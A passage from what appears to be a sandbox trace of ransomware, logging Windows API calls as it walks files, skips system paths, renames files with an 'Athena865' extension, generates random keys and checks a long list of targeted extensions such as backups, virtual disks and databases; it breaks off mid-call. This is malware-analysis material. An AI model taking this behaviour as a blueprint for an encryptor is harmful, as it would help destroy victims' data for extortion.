phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.015] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.015] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.015] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.017] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.019] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.020] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.020] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.021] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x243d30c0, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x243d30c0, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x24503bc0, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", cAlternateFileName="{29296~2")) returned 1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.021] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.022] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo") returned 56 [0100.022] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo" | out: lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo") returned="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo" [0100.022] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo") returned 56 [0100.022] lstrlenW (lpString="Athena865") returned 9 [0100.022] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.022] lstrlenW (lpString=".dll") returned 4 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.022] lstrlenW (lpString=".lnk") returned 4 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.022] lstrlenW (lpString=".ini") returned 4 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.022] lstrlenW (lpString=".sys") returned 4 [0100.022] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.022] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo") returned 56 [0100.022] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo.Athena865") returned 113 [0100.022] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.023] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.024] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.024] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.025] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.025] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.025] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.027] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.027] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.028] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.028] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.029] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9ead6f20, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x9ead6f20, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x9eb6f4a0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", cAlternateFileName="{4204E~1")) returned 1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2=".") returned 1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="..") returned 1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="windows") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="temp") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="boot") returned -1 [0100.029] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.030] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo") returned 56 [0100.030] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo" | out: lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo") returned="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo" [0100.030] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo") returned 56 [0100.030] lstrlenW (lpString="Athena865") returned 9 [0100.030] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.030] lstrlenW (lpString=".dll") returned 4 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.030] lstrlenW (lpString=".lnk") returned 4 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.030] lstrlenW (lpString=".ini") returned 4 [0100.030] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.031] lstrlenW (lpString=".sys") returned 4 [0100.031] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.031] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo") returned 56 [0100.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo.Athena865") returned 113 [0100.031] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.034] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{4204EE1B-0338-4788-B199-D83E4955FAF1}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.035] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.035] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.036] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.036] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.036] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.037] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.041] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.041] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.041] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0100.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0100.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0100.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.042] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.043] CloseHandle (hObject=0x154) returned 1 [0100.043] CloseHandle (hObject=0x17c) returned 1 [0100.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0100.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0100.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.043] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa7e92480, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xa7e92480, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xa7fc2f80, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", cAlternateFileName="{4204E~2")) returned 1 [0100.043] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.043] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.043] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.043] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.043] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.044] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo") returned 56 [0100.044] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo" | out: lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo") returned="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo" [0100.044] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo") returned 56 [0100.044] lstrlenW (lpString="Athena865") returned 9 [0100.044] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.044] lstrlenW (lpString=".dll") returned 4 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.044] lstrlenW (lpString=".lnk") returned 4 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.044] lstrlenW (lpString=".ini") returned 4 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.044] lstrlenW (lpString=".sys") returned 4 [0100.044] lstrcmpiW (lpString1="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.044] lstrlenW (lpString="{4204EE1B-0338-4788-B199-D83E4955FAF1}_WindowsUpdateInfo") returned 56 [0100.044] lstrlenW (lpString="bak") returned 3 [0100.044] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0100.044] lstrlenW (lpString="ba_") returned 3 [0100.044] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0100.044] lstrlenW (lpString="dbb") returned 3 [0100.044] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0100.044] lstrlenW (lpString="vmdk") returned 4 [0100.044] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0100.044] lstrlenW (lpString="rar") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0100.045] lstrlenW (lpString="zip") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0100.045] lstrlenW (lpString="tgz") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0100.045] lstrlenW (lpString="vbox") returned 4 [0100.045] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0100.045] lstrlenW (lpString="vdi") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0100.045] lstrlenW (lpString="vhd") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0100.045] lstrlenW (lpString="vhdx") returned 4 [0100.045] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0100.045] lstrlenW (lpString="avhd") returned 4 [0100.045] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0100.045] lstrlenW (lpString="db") returned 2 [0100.045] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0100.045] lstrlenW (lpString="db2") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0100.045] lstrlenW (lpString="db3") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0100.045] lstrlenW (lpString="dbf") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0100.045] lstrlenW (lpString="mdf") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0100.045] lstrlenW (lpString="mdb") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0100.045] lstrlenW (lpString="sql") returned 3 [0100.045] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0100.045] lstrlenW (lpString="sqlite") returned 6 [0100.046] lstrcmpiW (lpString1="teInfo", lpString2="sqlite") returned 1 [0100.046] lstrlenW (lpString="sqlite3") returned 7 [0100.046] lstrcmpiW (lpString1="ateInfo", lpString2="sqlite3") returned -1 [0100.046] lstrlenW (lpString="sqlitedb") returned 8 [0100.046] lstrcmpiW (lpString1="dateInfo", lpString2="sqlitedb") returned -1 [0100.046] lstrlenW (lpString="xml") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0100.046] lstrlenW (lpString="$er") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0100.046] lstrlenW (lpString="4dd") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0100.046] lstrlenW (lpString="4dl") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0100.046] lstrlenW (lpString="^^^") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0100.046] lstrlenW (lpString="abs") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0100.046] lstrlenW (lpString="abx") returned 3 [0100.046] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0100.046] lstrlenW (lpString="accdb") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0100.046] lstrlenW (lpString="accdc") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0100.046] lstrlenW (lpString="accde") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0100.046] lstrlenW (lpString="accdr") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0100.046] lstrlenW (lpString="accdt") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0100.046] lstrlenW (lpString="accdw") returned 5 [0100.046] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0100.047] lstrlenW (lpString="accft") returned 5 [0100.047] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0100.047] lstrlenW (lpString="adb") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.047] lstrlenW (lpString="adb") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0100.047] lstrlenW (lpString="ade") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0100.047] lstrlenW (lpString="adf") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0100.047] lstrlenW (lpString="adn") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0100.047] lstrlenW (lpString="adp") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0100.047] lstrlenW (lpString="alf") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0100.047] lstrlenW (lpString="ask") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0100.047] lstrlenW (lpString="btr") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0100.047] lstrlenW (lpString="cat") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0100.047] lstrlenW (lpString="cdb") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0100.047] lstrlenW (lpString="ckp") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0100.047] lstrlenW (lpString="cma") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0100.047] lstrlenW (lpString="cpd") returned 3 [0100.047] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0100.047] lstrlenW (lpString="dacpac") returned 6 [0100.048] lstrcmpiW (lpString1="teInfo", lpString2="dacpac") returned 1 [0100.048] lstrlenW (lpString="dad") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0100.048] lstrlenW (lpString="dadiagrams") returned 10 [0100.048] lstrcmpiW (lpString1="UpdateInfo", lpString2="dadiagrams") returned 1 [0100.048] lstrlenW (lpString="daschema") returned 8 [0100.048] lstrcmpiW (lpString1="dateInfo", lpString2="daschema") returned 1 [0100.048] lstrlenW (lpString="db-journal") returned 10 [0100.048] lstrcmpiW (lpString1="UpdateInfo", lpString2="db-journal") returned 1 [0100.048] lstrlenW (lpString="db-shm") returned 6 [0100.048] lstrcmpiW (lpString1="teInfo", lpString2="db-shm") returned 1 [0100.048] lstrlenW (lpString="db-wal") returned 6 [0100.048] lstrcmpiW (lpString1="teInfo", lpString2="db-wal") returned 1 [0100.048] lstrlenW (lpString="dbc") returned 3 [0100.048] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0100.048] lstrlenW 